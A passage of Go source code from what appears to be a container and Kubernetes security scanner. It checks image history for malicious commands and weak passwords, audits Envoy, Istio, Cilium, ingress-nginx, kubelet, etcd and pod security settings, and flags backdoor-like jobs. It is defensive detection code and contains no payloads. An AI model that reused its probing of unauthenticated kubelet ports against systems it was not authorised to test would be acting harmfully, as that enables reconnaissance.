%s", img.Summary.RepoTags[0], strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), Describe: fmt.Sprintf("Confusion value found in ENV: '%s' "+ "with the plain text '%s'.", strings.TrimPrefix(values[0], "ENV "), detect.Plain), Severity: "high", } tlist = append(tlist, th) vuln = true default: // ignore } continue } commands := strings.Split(pruneLayer, "&&") for _, cmd := range commands { detectCmd := maliciousContentCheck(strings.TrimSpace(cmd)) if detectCmd.Types > Unknown { th := &threat{ Param: "Image History", Value: fmt.Sprintf("Image name: %s | "+ "Image ID: %s", img.Summary.RepoTags[0], strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), Describe: fmt.Sprintf("Malicious cmd found in RUN: '%s' "+ "with the plain text '%s'.", cmd, detectCmd.Plain), Severity: "high", } tlist = append(tlist, th) vuln = true continue } // Check the content of `echo` command echoMatch := echoReg.FindStringSubmatch(cmd) if len(echoMatch) > 1 { detectEcho := maliciousContentCheck(echoMatch[1]) if detectEcho.Types > Unknown { th := &threat{ Param: "Image History", Value: fmt.Sprintf("Image name: %s | "+ "Image ID: %s", img.Summary.RepoTags[0], strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), Describe: fmt.Sprintf("Malicious value found in RUN: '%s' "+ "with the plain text '%s'.", cmd, detectEcho.Plain), Severity: "high", } tlist = append(tlist, th) vuln = true continue } pass := echoPass(echoMatch[1], env) if len(pass) < 1 { continue } switch checkWeakPassword(pass) { case "Weak": th := &threat{ Param: "Image History", Value: fmt.Sprintf("Image name: %s | "+ "Image ID: %s", img.Summary.RepoTags[0], strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), Describe: fmt.Sprintf("Weak password found in command: '%s' "+ "with the password '%s'.", cmd, pass), Severity: "high", } tlist = append(tlist, th) vuln = true case "Medium": th := &threat{ Param: "Image History", Value: fmt.Sprintf("Image name: %s | "+ "Image ID: %s", img.Summary.RepoTags[0], strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), Describe: fmt.Sprintf("Password need need to be reinforeced, found in command: '%s'.", cmd), Severity: "medium", } tlist = append(tlist, th) vuln = true } } } } } return vuln, tlist } func echoPass(cmd string, env map[string]string) string { var pass string match := false for _, p := range passKey { if p.MatchString(cmd) { match = true break } } if !match { return pass } prune := strings.TrimSpace(cmd) if len(strings.Split(prune, "=")) > 1 { pass = strings.Split(prune, "=")[1] } else if len(strings.Split(prune, ":")) > 1 { pass = strings.Split(prune, ":")[1] } pass = strings.TrimSpace(pass) // Get true value from format `${env}` envReg := regexp.MustCompile(`\${(.*)}`) envMatch := envReg.FindStringSubmatch(pass) if len(envMatch) > 1 { if value, ok := env[envMatch[1]]; ok { pass = value } } return pass } func getEnv(images []imagev1.HistoryResponseItem) map[string]string { env := map[string]string{} for _, layer := range images { pruneLayerAfter1 := strings.TrimPrefix(layer.CreatedBy, "/bin/sh -c ") pruneLayerAfter2 := strings.TrimPrefix(pruneLayerAfter1, "#(nop)") pruneLayer := strings.TrimSpace(pruneLayerAfter2) link := strings.Split(pruneLayer, " ")[0] if link != "ENV" { continue } envLayer := strings.TrimPrefix(pruneLayer, "ENV ") e := strings.Split(envLayer, "=") env[e[0]] = e[1] } return env } func checkEnv(env map[string]string) (bool, []*threat) { var vuln = false tlist := []*threat{} for key, value := range env { for _, p := range passKey { if p.MatchString(key) { th := &threat{ Param: "Image History", Describe: fmt.Sprintf("Docker history has found the senstive environment"+ " with key '%s' and value: %s.", key, value), Severity: "medium", } tlist = append(tlist, th) vuln = true break } } } return vuln, tlist } ================================================ FILE: internal/analyzer/k8s_cni.go ================================================ package analyzer import ( "bytes" "context" "crypto/tls" "encoding/json" "fmt" "io" "io/ioutil" "log" "net/http" "os" "path/filepath" "regexp" "runtime" "strings" "time" "github.com/kvesta/vesta/config" "github.com/kvesta/vesta/pkg/vulnlib" "github.com/shirou/gopsutil/process" "github.com/tidwall/gjson" "gopkg.in/yaml.v3" v1 "k8s.io/api/core/v1" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/client-go/kubernetes/scheme" "k8s.io/client-go/tools/remotecommand" ) func (ks *KScanner) checkCNI() error { // Init database vulnCli := vulnlib.Client{} err := vulnCli.Init() if err != nil { log.Printf("init database failed, %v", err) } // Check Envoy configuration if ok, tlist := checkEnvoy(); ok { ks.VulnConfigures = append(ks.VulnConfigures, tlist...) } // Check cilium if ok, tlist := ks.checkCilium(vulnCli); ok { ks.VulnConfigures = append(ks.VulnConfigures, tlist...) } // Check istio if ok, tlist := ks.checkIstio(vulnCli); ok { ks.VulnConfigures = append(ks.VulnConfigures, tlist...) } // Check ingress-nginx if ok, tlist := ks.checkIngressNginx(vulnCli); ok { ks.VulnConfigures = append(ks.VulnConfigures, tlist...) } // Check kubelet port if ok, tlist := ks.checkKubelet(); ok { ks.VulnConfigures = append(ks.VulnConfigures, tlist...) } // Check kubectl proxy using if ok, tlist := checkKubectlProxy(); ok { ks.VulnConfigures = append(ks.VulnConfigures, tlist...) } // Check etcd configuration if ok, tlist := ks.checkEtcd(); ok { ks.VulnConfigures = append(ks.VulnConfigures, tlist...) } return nil } func checkEnvoy() (bool, []*threat) { log.Printf(config.Yellow("Begin Envoy analyzing")) var vuln = false tlist := []*threat{} type envoyAdmin struct { Admin struct { Address struct { SocketAddress struct { Address string `yaml:"address" json:"address"` PortValue string `yaml:"port_value" json:"port_value"` } `yaml:"socket_address" json:"socket_address"` } `yaml:"address" json:"address"` } `yaml:"admin" json:"admin"` } // Only supports Linux if runtime.GOOS != "linux" { return vuln, tlist } var filename string var envoyConfig envoyAdmin // Check process or docker to find envoy processes, _ := process.Processes() for _, ps := range processes { cmds, _ := ps.CmdlineSlice() if len(cmds) < 1 { continue } if !strings.Contains(cmds[0], "envoy") { continue } cwd := fmt.Sprintf("/proc/%d/cwd/", ps.Pid) // Get the name of config file for i, p := range cmds { if p == "-c" { filename = cmds[i+1] break } } configFile := filepath.Join(cwd, filename) // Judge file type fileSplit := strings.Split(configFile, ".") fileType := fileSplit[len(fileSplit)-1] f, err := os.Open(configFile) if err != nil { continue } config, err := io.ReadAll(f) if err != nil { f.Close() continue } f.Close() switch fileType { case "yaml": err = yaml.Unmarshal(config, &envoyConfig) if err != nil { continue } case "json": err = json.Unmarshal(config, &envoyConfig) if err != nil { continue } default: continue } if envoyConfig != (envoyAdmin{}) { address := envoyConfig.Admin.Address.SocketAddress.Address port := envoyConfig.Admin.Address.SocketAddress.PortValue envoyCommand := strings.Join(cmds[1:], " ") if len(envoyCommand) > 80 { envoyCommand = "envoy " + envoyCommand[:80] + "..." } else { envoyCommand = strings.Join(cmds, " ") } th := &threat{ Param: "admin", Value: fmt.Sprintf("Pid:%d Command: \"%s\"", ps.Pid, envoyCommand), Type: "Envoy", Describe: fmt.Sprintf("Envoy admin is activated and exposed to '%s:%s', "+ "which includes sensitive api and unauthorized.", address, port), Reference: "https://www.envoyproxy.io/docs/envoy/latest/operations/admin#administration-interface", Severity: "medium", } if address == "0.0.0.0" { th.Severity = "high" } tlist = append(tlist, th) vuln = true } } return vuln, tlist } func (ks *KScanner) checkIstio(vulnCli vulnlib.Client) (bool, []*threat) { log.Printf(config.Yellow("Begin Istio analyzing")) var vuln = false tlist := []*threat{} // Get istio deployment dp, err := ks.KClient. AppsV1(). Deployments("istio-system"). Get(context.Background(), "istiod", metav1.GetOptions{}) if err != nil { if strings.Contains(err.Error(), "not found") { return vuln, tlist } log.Printf("check istio version failed, %v", err) return vuln, tlist } if dp == nil { return vuln, tlist } // Check istio version imageName := dp.Spec.Template.Spec.Containers[0].Image versionRegex := regexp.MustCompile(`(\d+\.)?(\d+\.)?(\*|\d+)`) versionMatch := versionRegex.FindStringSubmatch(imageName) if len(versionMatch) < 2 { return vuln, tlist } istioVersion := versionMatch[0] rows, err := vulnCli.QueryVulnByName("istio") if err != nil { log.Printf("check envoy version failed, %v", err) return vuln, tlist } for _, row := range rows { if compareVersion(istioVersion, row.MaxVersion, row.MinVersion) { var description string if len(row.Description) > 100 { description = fmt.Sprintf("%s ... Reference: %s", row.Description[:100], row.CVEID) } else { description = fmt.Sprintf("%s ... Reference: %s", row.Description, row.CVEID) } th := &threat{ Param: "Istio version", Value: fmt.Sprintf("%s < %s", istioVersion, row.MaxVersion), Type: "Istio", Describe: description, Reference: fmt.Sprintf("https://nvd.nist.gov/vuln/detail/%s", row.CVEID), Severity: strings.ToLower(row.Level), } tlist = append(tlist, th) vuln = true } } return vuln, tlist } func (ks *KScanner) checkIstioHeader(podname, ns, cname string) (bool, []*threat) { var vuln = false tlist := []*threat{} cmd := []string{ "curl", "http://httpbin.org/get", } req := ks.KClient.CoreV1().RESTClient().Post(). Resource("pods"). Name(podname). Namespace(ns).SubResource("exec").Param("container", cname) option := &v1.PodExecOptions{ Command: cmd, Stdin: false, Stdout: true, Stderr: true, TTY: false, } req.VersionedParams( option, scheme.ParameterCodec, ) var stdout, stderr bytes.Buffer exec, err := remotecommand.NewSPDYExecutor(ks.KConfig, "POST", req.URL()) if err != nil { return vuln, tlist } err = exec.Stream(remotecommand.StreamOptions{ Stdin: nil, Stdout: &stdout, Stderr: &stderr, }) if err != nil { return vuln, tlist } data := strings.TrimSpace(stdout.String()) headers := gjson.Get(data, "headers").Value() if headers == nil { return vuln, tlist } if _, ok := headers.(map[string]interface{})["X-Envoy-Peer-Metadata"]; ok { th := &threat{ Param: "istio header", Value: "X-Envoy-Peer-Metadata, X-Envoy-Peer-Metadata-Id", Type: "Istio", Describe: "Istio detected and request header " + "is leaking sensitive information", Reference: "https://github.com/istio/istio/issues/17635", Severity: "low", } tlist = append(tlist, th) vuln = true } return vuln, tlist } func (ks *KScanner) checkCilium(vulnCli vulnlib.Client) (bool, []*threat) { log.Printf(config.Yellow("Begin Cilium analyzing")) var vuln = false tlist := []*threat{} // Get cilium deployment dp, err := ks.KClient. AppsV1(). Deployments("kube-system"). Get(context.Background(), "cilium-operator", metav1.GetOptions{}) if err != nil { if strings.Contains(err.Error(), "not found") { return vuln, tlist } log.Printf("check envoy version failed, %v", err) return vuln, tlist } if dp == nil { return vuln, tlist } // Check cilium version imageName := dp.Spec.Template.Spec.Containers[0].Image imageRegexp := regexp.MustCompile(`\A(.*?)(?:(:.*?)(@sha256:[0-9a-f]{64})?)?\z`) versionMatch := imageRegexp.FindStringSubmatch(imageName) if len(versionMatch) < 2 { return vuln, tlist } ciliumVersion := versionMatch[2][1:] rows, err := vulnCli.QueryVulnByName("cilium") if err != nil { log.Printf("check envoy version failed, %v", err) return vuln, tlist } for _, row := range rows { if compareVersion(ciliumVersion, row.MaxVersion, row.MinVersion) { var description string if len(row.Description) > 200 { description = fmt.Sprintf("%s ... Reference: %s", row.Description[:100], row.CVEID) } else { description = fmt.Sprintf("%s ... Reference: %s", row.Description[:100], row.CVEID) } th := &threat{ Param: "Cilium version", Value: fmt.Sprintf("%s < %s", ciliumVersion, row.MaxVersion), Type: "Cilium", Describe: description, Reference: fmt.Sprintf("https://nvd.nist.gov/vuln/detail/%s", row.CVEID), Severity: strings.ToLower(row.Level), } tlist = append(tlist, th) vuln = true } } return vuln, tlist } func (ks *KScanner) checkIngressNginx(vulnCli vulnlib.Client) (bool, []*threat) { log.Printf(config.Yellow("Begin Nginx Ingress analyzing")) var vuln = false tlist := []*threat{} // Get istio deployment dp, err := ks.KClient. AppsV1(). Deployments("ingress-nginx"). Get(context.Background(), "ingress-nginx-controller", metav1.GetOptions{}) if err != nil { if strings.Contains(err.Error(), "not found") { return vuln, tlist } log.Printf("check envoy version failed, %v", err) return vuln, tlist } if dp == nil { return vuln, tlist } // Check nginx ingress version imageName := dp.Spec.Template.Spec.Containers[0].Image imageRegexp := regexp.MustCompile(`\A(.*?)(?:(:.*?)(@sha256:[0-9a-f]{64})?)?\z`) versionMatch := imageRegexp.FindStringSubmatch(imageName) if len(versionMatch) < 2 { return vuln, tlist } nginxIngressVersion := versionMatch[2][1:] rows, err := vulnCli.QueryVulnByName("ingress-nginx") if err != nil { log.Printf("check envoy version failed, %v", err) return vuln, tlist } for _, row := range rows { if compareVersion(nginxIngressVersion, row.MaxVersion, row.MinVersion) { var description string if len(row.Description) > 200 { description = fmt.Sprintf("%s ... Reference: %s", row.Description[:100], row.CVEID) } else { description = fmt.Sprintf("%s ... Reference: %s", row.Description[:100], row.CVEID) } th := &threat{ Param: "Ingress nginx version", Value: fmt.Sprintf("%s < %s", nginxIngressVersion, row.MaxVersion), Type: "Ingress Nginx", Describe: description, Reference: fmt.Sprintf("https://nvd.nist.gov/vuln/detail/%s", row.CVEID), Severity: strings.ToLower(row.Level), } tlist = append(tlist, th) vuln = true } } // Temporary hardcoded vulnerability comparison before re-integrating CVE database if compareVersion(nginxIngressVersion, "v1.12.1", "v1.12.0") || compareVersion(nginxIngressVersion, "v1.11.5", "0.0") { th := &threat{ Param: "Nginx Ingress Controller RCE", Value: fmt.Sprintf("%s < v1.12.1 or %s < v1.11.5", nginxIngressVersion, nginxIngressVersion), Type: "Ingress Nginx", Severity: "critical", Describe: "NGINX Ingress Controller version is vulnerable to CVE-2025-1974, " + "which can be exploited to gain remote code execution.", Reference: "https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities", } vuln = true // Analyze ingress-nginx-controller's args to check if controller.admissionWebhooks.enabled is set to false // Find the ingress-nginx-controller container in the deployment hasValidating, admissionWebhooksDisabled := false, false for _, container := range dp.Spec.Template.Spec.Containers { if container.Name == "controller" || strings.Contains(container.Name, "ingress-nginx-controller") { for _, arg := range container.Args { if strings.HasPrefix(arg, "--controller.admissionWebhooks.enabled=") { val := strings.TrimPrefix(arg, "--controller.admissionWebhooks.enabled=") if val == "false" { admissionWebhooksDisabled = true th.Severity = "low" th.Describe = "The controller.admissionWebhooks.enabled argument is set to false in the ingress-nginx-controller container, which mitigates CVE-2025-1974 risk." } } if strings.Contains(arg, "--validating-webhook") { hasValidating = true } } } if admissionWebhooksDisabled { break } } if !hasValidating { vuln = false } if vuln { tlist = append(tlist, th) } } return vuln, tlist } func (ks *KScanner) checkKubelet() (bool, []*threat) { log.Printf(config.Yellow("Begin Kubelet analyzing")) var vuln = false tlist := []*threat{} // Only supports Linux if runtime.GOOS != "linux" { return vuln, tlist } processes, _ := process.Processes() for _, ps := range processes { cmds, _ := ps.CmdlineSlice() if len(cmds) < 1 { continue } if !strings.Contains(cmds[0], "kubelet") { continue } for _, cmd := range cmds { if strings.Contains(cmd, "--read-only-port=") { th := &threat{ Param: "Kubelet 'read-only-port' is opened", Value: cmd, Type: "Kubelet", Describe: "Kubelet 'read-only-port' is opened and unauthorized, " + "which has a sensitive data leakage.", Severity: "high", } tlist = append(tlist, th) vuln = true } } } // Check 10250 and 10255 unauthorized for nodeName, node := range ks.MasterNodes { if ok, ts := checkKubeletUnauthorized(node.InternalIP); ok { for _, t := range ts { t.Param += fmt.Sprintf(" | Node Name: '%s' | Node Interal IP: %s", nodeName, node.InternalIP) } vuln = true tlist = append(tlist, ts...) } } return vuln, tlist } func checkKubeletUnauthorized(ip string) (bool, []*threat) { var vuln = false tlist := []*threat{} ports := []int{10255, 10250} client := &http.Client{ Timeout: 30 * time.Second, Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } for _, port := range ports { url := fmt.Sprintf("https://%s:%d/pods/", ip, port) request, err := http.NewRequest("GET", url, nil) if err != nil { continue } resp, err := client.Do(request) if err != nil { continue } content, err := ioutil.ReadAll(resp.Body) if err != nil { continue } if len(content) > 100 && strings.Contains(string(content), "apiVersion") { th := &threat{ Param: fmt.Sprintf("Kubelet port: '%d' unauthorized", port), Value: fmt.Sprintf("Unauthorized, check the url: %s", url), Type: "Kubelet", Describe: fmt.Sprintf("Kubelet port: '%d' unauthorized, "+ "which leak all the information to the anonymous.", port), Severity: "high", } vuln = true tlist = append(tlist, th) } resp.Body.Close() } return vuln, tlist } func checkKubectlProxy() (bool, []*threat) { log.Printf(config.Yellow("Begin Kubectl proxy analyzing")) var vuln = false tlist := []*threat{} processes, _ := process.Processes() for _, ps := range processes { cmds, _ := ps.CmdlineSlice() if len(cmds) < 1 { continue } if !strings.Contains(cmds[0], "kubectl") { continue } // Skip the kuebctl command which is not includes proxy if cmds[1] != "proxy" { continue } kubectlCommand := strings.Join(cmds[2:], " ") if len(kubectlCommand) > 50 { kubectlCommand = "kubectl proxy " + kubectlCommand[:50] + "..." } else { kubectlCommand = strings.Join(cmds[:], " ") } for i, cmd := range cmds { if strings.Contains(cmd, "--address") { var address string if strings.Contains(cmd, "=") { address = strings.Split(cmd, "=")[1] } else { address = cmds[i+1] } if address == "localhost" || address == "127.0.0.1" { break } th := &threat{ Param: "Kubectl proxy", Value: kubectlCommand, Type: "Kubectl", Describe: fmt.Sprintf("Kubectl proxy command is used "+ "and the exposed address is '%s', "+ "which will cause unauthorized vulnerability.", address), Severity: "medium", } tlist = append(tlist, th) vuln = true } } if !vuln { th := &threat{ Param: "Kubectl proxy", Value: kubectlCommand, Type: "Kubectl", Describe: "Kubectl proxy command is used " + "which will cause unauthorized vulnerability.", Severity: "low", } tlist = append(tlist, th) vuln = true } } return vuln, tlist } func (ks *KScanner) checkEtcd() (bool, []*threat) { log.Printf(config.Yellow("Begin Etcd analyzing")) var vuln = false tlist := []*threat{} pods, err := ks.KClient.CoreV1().Pods("kube-system").List(context.TODO(), metav1.ListOptions{}) if err != nil { return vuln, tlist } configs := map[string]bool{"client-cert-auth": false, "peer-client-cert-auth": false} hasEtcd := false for _, pod := range pods.Items { if !strings.Contains(pod.Name, "etcd") { continue } hasEtcd = true commands := pod.Spec.Containers[0].Command for _, command := range commands { if command == "--client-cert-auth=true" { configs["client-cert-auth"] = true } if command == "--peer-client-cert-auth=true" { configs["peer-client-cert-auth"] = true } } } if !configs["client-cert-auth"] && hasEtcd { th := &threat{ Param: "Etcd configuration", Value: "--client-cert-auth", Type: "Etcd", Describe: "Etcd config lacks `client-cert-auth`, " + "which has a potential container escape.", Severity: "high", } if !configs["peer-client-cert-auth"] { th.Value += " --peer-client-cert-auth" th.Describe = "Etcd config lacks `client-cert-auth` " + "and `peer-client-cert-auth`, which has a potential container escape." th.Reference = "https://workbench.cisecurity.org/files/3371" } tlist = append(tlist, th) vuln = true } else if !configs["peer-client-cert-auth"] && hasEtcd { th := &threat{ Param: "Etcd configuration", Value: "--peer-client-cert-auth", Type: "Etcd", Describe: "Etcd config lacks `peer-client-cert-auth`. " + "All peers attempting to communicate with the etcd server " + "will require a valid client certificate for authentication.", Reference: "https://workbench.cisecurity.org/files/3371", Severity: "medium", } tlist = append(tlist, th) vuln = true } return vuln, tlist } ================================================ FILE: internal/analyzer/k8s_configuration.go ================================================ package analyzer import ( "context" "fmt" "log" "os/exec" "strings" "time" "github.com/docker/docker/client" version2 "github.com/hashicorp/go-version" "github.com/kvesta/vesta/config" "github.com/kvesta/vesta/pkg/inspector" "github.com/kvesta/vesta/pkg/osrelease" "github.com/kvesta/vesta/pkg/vulnlib" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/client-go/tools/clientcmd" certutil "k8s.io/client-go/util/cert" ) func (ks *KScanner) getNodeInfor(ctx context.Context) error { nodes, err := ks.KClient. CoreV1(). Nodes().List(context.TODO(), metav1.ListOptions{}) if err != nil { return err } ks.MasterNodes = make(map[string]*nodeInfo) for _, node := range nodes.Items { rolesInfo := &nodeInfo{ IsMaster: false, InternalIP: node.Status.Addresses[0].Address, } for role, _ := range node.Labels { if strings.HasPrefix(role, "node-role.kubernetes") { roleName := strings.Split(role, "/")[1] if roleName == "master" { rolesInfo.IsMaster = true } } } rolesInfo.Role = node.Labels ks.MasterNodes[node.Name] = rolesInfo } return nil } func (ks *KScanner) dockershimCheck(ctx context.Context) error { cli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation()) if err != nil { return err } c := inspector.DockerApi{ DCli: cli, } vulnCli := vulnlib.Client{} err = vulnCli.Init() if err != nil { return err } serverVersion, _ := c.GetDockerServerVersion(ctx) c.DCli.Close() // Checking kernel version kernelVersion, err := osrelease.GetKernelVersion(context.Background()) if err != nil { log.Printf("failed to get kernel version: %v", err) } if ok, tlist := checkKernelVersion(vulnCli, kernelVersion); ok { ks.VulnConfigures = append(ks.VulnConfigures, tlist...) } // Check Docker server version if ok, tlist := checkDockerVersion(vulnCli, serverVersion); ok { ks.VulnConfigures = append(ks.VulnConfigures, tlist...) } // Check Kubernetes version if ok, tlist := checkK8sVersion(vulnCli, ks.Version); ok { ks.VulnConfigures = append(ks.VulnConfigures, tlist...) } return nil } // kernelCheck get /proc/version directly for non-Docker-Desktop func (ks *KScanner) kernelCheck(ctx context.Context) error { cmd := exec.Command("cat", "/proc/version") stdout, err := cmd.Output() if err != nil { return err } vulnCli := vulnlib.Client{} err = vulnCli.Init() if err != nil { return err } kernelVersion := osrelease.KernelParse(string(stdout)) if ok, tlist := checkKernelVersion(vulnCli, kernelVersion); ok { for _, th := range tlist { th.Type = "K8s kernel version" } ks.VulnConfigures = append(ks.VulnConfigures, tlist...) } if ok, tlist := checkK8sVersion(vulnCli, ks.Version); ok { ks.VulnConfigures = append(ks.VulnConfigures, tlist...) } return nil } func (ks *KScanner) checkPersistentVolume() error { log.Printf(config.Yellow("Begin PV and PVC analyzing")) tlist := []*threat{} pvs, err := ks.KClient. CoreV1(). PersistentVolumes(). List(context.TODO(), metav1.ListOptions{}) if err != nil { log.Printf("list persistentvolumes failed: %v", err) return err } for _, pv := range pvs.Items { // Check whether using the host mount if pv.Spec.HostPath == nil { continue } //pvPath := filepath.Dir(pv.Spec.HostPath.Path) pvPath := pv.Spec.HostPath.Path if isVuln := checkMountPath(pvPath); isVuln { th := &threat{ Param: pv.Name, Value: pvPath, Type: "PersistentVolume", Describe: fmt.Sprintf("Mount path '%s' is suffer vulnerable of "+ "container escape and it is in using", pvPath), Severity: "critical", } // Check whether it is in using if pv.Status.Phase != "Bound" { th.Severity = "medium" th.Describe = fmt.Sprintf("Mount path '%s' is suffer vulnerable of "+ "container escape but the status is '%s'", pvPath, pv.Status.Phase) } tlist = append(tlist, th) } } ks.VulnConfigures = append(ks.VulnConfigures, tlist...) return nil } type RBACVuln struct { Severity string ClusterRoleBinding string RoleBinding string } // checkPod check pod privileged and configure of server account func (ks *KScanner) checkPod(ns string) error { if ns == "kubernetes-dashboard" { return ks.checkKuberDashboard() } pods, err := ks.KClient. CoreV1(). Pods(ns). List(context.TODO(), metav1.ListOptions{}) if err != nil { return err } rv := ks.getRBACVulnType(ns) for _, pod := range pods.Items { vList := ks.podAnalyze(pod.Spec, rv, ns, pod.Name) // Check pod annotations if ok, tlist := checkPodAnnotation(pod.Annotations); ok { vList = append(vList, tlist...) } if len(vList) > 0 { sortSeverity(vList) con := &container{ ContainerName: pod.Name, Namepsace: ns, Status: string(pod.Status.Phase), NodeName: pod.Spec.NodeName, Threats: vList, } ks.VulnContainers = append(ks.VulnContainers, con) } } return nil } func (ks *KScanner) checkPodSecurityPolicy() error { log.Printf(config.Yellow("Begin PodSecurityPolicy analyzing")) psps, err := ks.KClient. PolicyV1beta1(). PodSecurityPolicies(). List(context.TODO(), metav1.ListOptions{}) if err != nil { return err } for _, psp := range psps.Items { if psp.Spec.Privileged { th := &threat{ Param: fmt.Sprintf("Policy Name: %s", psp.Name), Value: "Privileged", Type: "PodSecurityPolicy", Describe: "PodSecurityPolicy tolerates the privileged module, " + "which can make the pod has a potential container escape.", Severity: "high", } ks.VulnConfigures = append(ks.VulnConfigures, th) } capList := "" for _, dcap := range psp.Spec.DefaultAddCapabilities { if dcap == "ALL" { capList = "ALL" break } for c, _ := range dangerCaps { if string(dcap) == c { capList += c + " " } } } if len(capList) > 0 { th := &threat{ Param: fmt.Sprintf("Policy Name: %s", psp.Name), Value: fmt.Sprintf("defaultAddCapabilities: %s", capList), Type: "PodSecurityPolicy", Describe: "PodSecurityPolicy tolerates the dangerous capabilities, " + "which can make the pod has a potential container escape.", Severity: "high", } ks.VulnConfigures = append(ks.VulnConfigures, th) } if psp.Spec.HostPID { th := &threat{ Param: fmt.Sprintf("Policy Name: %s", psp.Name), Value: "HostPID", Type: "PodSecurityPolicy", Describe: "PodSecurityPolicy is set the `hostPID`, " + "which attackers can see all the processes in physical machine.", Severity: "medium", } ks.VulnConfigures = append(ks.VulnConfigures, th) } if psp.Spec.HostNetwork { th := &threat{ Param: fmt.Sprintf("Policy Name: %s", psp.Name), Value: "HostNetwork", Type: "PodSecurityPolicy", Describe: "PodSecurityPolicy is set `HostNetwork`, " + "which will exposed the network of physical machine.", Severity: "medium", } ks.VulnConfigures = append(ks.VulnConfigures, th) } if psp.Spec.RunAsUser.Rule == "RunAsAny" { th := &threat{ Param: fmt.Sprintf("Policy Name: %s", psp.Name), Value: "RunAsUser", Type: "PodSecurityPolicy", Describe: "Pod shouldn't be run as arbitrary user.", Severity: "low", } ks.VulnConfigures = append(ks.VulnConfigures, th) } } return nil } func (ks *KScanner) checkDaemonSet(ns string) error { das, err := ks.KClient. AppsV1(). DaemonSets(ns). List(context.TODO(), metav1.ListOptions{}) if err != nil { return err } rv := ks.getRBACVulnType(ns) for _, da := range das.Items { p := ks.getPodFromLabels(da.Namespace, da.Spec.Selector.MatchLabels) vList := ks.podAnalyze(da.Spec.Template.Spec, rv, ns, p.Name) if len(vList) > 0 { severity := "low" for _, v := range vList { if config.SeverityMap[severity] < config.SeverityMap[v.Severity] { severity = v.Severity } } // Skip the low risk if severity == "low" { return nil } var containerImages string for _, im := range da.Spec.Template.Spec.Containers { imageSplit := strings.Split(im.Image, "/") containerImages += strings.Join(imageSplit, "/ ") + " | " } th := &threat{ Param: fmt.Sprintf("name: %s | namespace: %s", da.Name, da.Namespace), Value: fmt.Sprintf("images: %s", containerImages), Type: "DaemonSet", Describe: fmt.Sprintf("Daemonset has set the unsafe pod \"%s\".", p.Name), Severity: severity, } ks.VulnConfigures = append(ks.VulnConfigures, th) // Check the results whether the daemonset pod has been checked ks.addExtraPod(da.Namespace, p, vList) } } return nil } // checkJobsOrCornJob check job and cronjob whether have malicious command func (ks *KScanner) checkJobsOrCornJob(ns string) error { jobs, err := ks.KClient. BatchV1(). Jobs(ns). List(context.TODO(), metav1.ListOptions{}) rv := ks.getRBACVulnType(ns) if err != nil { if strings.Contains(err.Error(), "could not find the requested resource") { goto cronJob } return err } for _, job := range jobs.Items { for _, con := range job.Spec.Template.Spec.Containers { command := strings.Join(con.Command, " ") detect := maliciousContentCheck(command) switch detect.Types { case Confusion: p := ks.getPodFromLabels(ns, job.Spec.Selector.MatchLabels) vList := ks.podAnalyze(job.Spec.Template.Spec, rv, ns, p.Name) if len(vList) > 1 { severity := "low" for _, v := range vList { if config.SeverityMap[severity] < config.SeverityMap[v.Severity] { severity = v.Severity } } if severity == "low" { return nil } th := &threat{ Param: fmt.Sprintf("Job Name: %s Namespace: %s", job.Name, ns), Value: fmt.Sprintf("Job pod name: %s", p.Name), Type: "Job", Describe: fmt.Sprintf("Job Command '%s' finds high risk content(score: %.2f bigger than 0.75), "+ "and has dangerous configurations, considering it as a backdoor.", detect.Plain, detect.Score), Severity: severity, } ks.VulnConfigures = append(ks.VulnConfigures, th) ks.addExtraPod(ns, p, vList) } default: // ignore } } } cronJob: cronjobs, err := ks.KClient. BatchV1(). CronJobs(ns). List(context.TODO(), metav1.ListOptions{}) if err != nil { return err } for _, cronjob := range cronjobs.Items { for _, con := range cronjob.Spec.JobTemplate.Spec.Template.Spec.Containers { command := strings.Join(con.Command, " ") detect := maliciousContentCheck(command) switch detect.Types { case Confusion: p := ks.getPodFromLabels(ns, cronjob.Spec.JobTemplate.Spec.Selector.MatchLabels) vList := ks.podAnalyze(cronjob.Spec.JobTemplate.Spec.Template.Spec, rv, ns, p.Name) if len(vList) > 1 { severity := "low" for _, v := range vList { if config.SeverityMap[severity] < config.SeverityMap[v.Severity] { severity = v.Severity } } if severity == "low" { return nil } th := &threat{ Param: fmt.Sprintf("CronJob Name: %s Namespace: %s", cronjob.Name, ns), Value: fmt.Sprintf("CronJob pod name: %s", p.Name), Type: "CronJob", Describe: fmt.Sprintf("CronJob Command '%s' finds high risk content(score: %.2f bigger than 0.75), "+ "and has dangerous configurations, considering it as a backdoor.", detect.Plain, detect.Score), Severity: severity, } ks.VulnConfigures = append(ks.VulnConfigures, th) ks.addExtraPod(ns, p, vList) } default: // ignore } } } return nil } func (ks *KScanner) checkCerts() error { log.Printf(config.Yellow("Begin cert analyzing")) kubeConfig, err := clientcmd.LoadFromFile("/etc/kubernetes/admin.conf") if err != nil { if strings.Contains(err.Error(), "no such file or directory") { return nil } return err } authInfoName := kubeConfig.Contexts[kubeConfig.CurrentContext].AuthInfo authInfo := kubeConfig.AuthInfos[authInfoName] certs, err := certutil.ParseCertsPEM(authInfo.ClientCertificateData) expiration := certs[0].NotAfter now := time.Now() if expiration.Before(now.AddDate(0, 0, 30)) { th := &threat{ Param: "Kubernetes certificate expiration", Value: fmt.Sprintf("expire time: %s", expiration.Format("2006-02-01")), Type: "certification", Describe: "Your certificate will be expired after 30 days.", Severity: "medium", } ks.VulnConfigures = append(ks.VulnConfigures, th) } return nil } func checkK8sVersion(cli vulnlib.Client, k8sVersion string) (bool, []*threat) { var vuln = false tlist := []*threat{} k, err := version2.NewVersion(k8sVersion) if err != nil { return vuln, tlist } // temporarily skip the openshift version detect minimumVersion, _ := version2.NewVersion("1.18.0") if k.Compare(minimumVersion) <= 0 { return vuln, tlist } rows, err := cli.QueryVulnByName("kubernetes") if err != nil { log.Printf("faield to search database, error: %v", err) return vuln, tlist } for _, row := range rows { if compareVersion(k8sVersion, row.MaxVersion, row.MinVersion) { // Skip the Jenkins Kubernetes Plugin vulnerability if 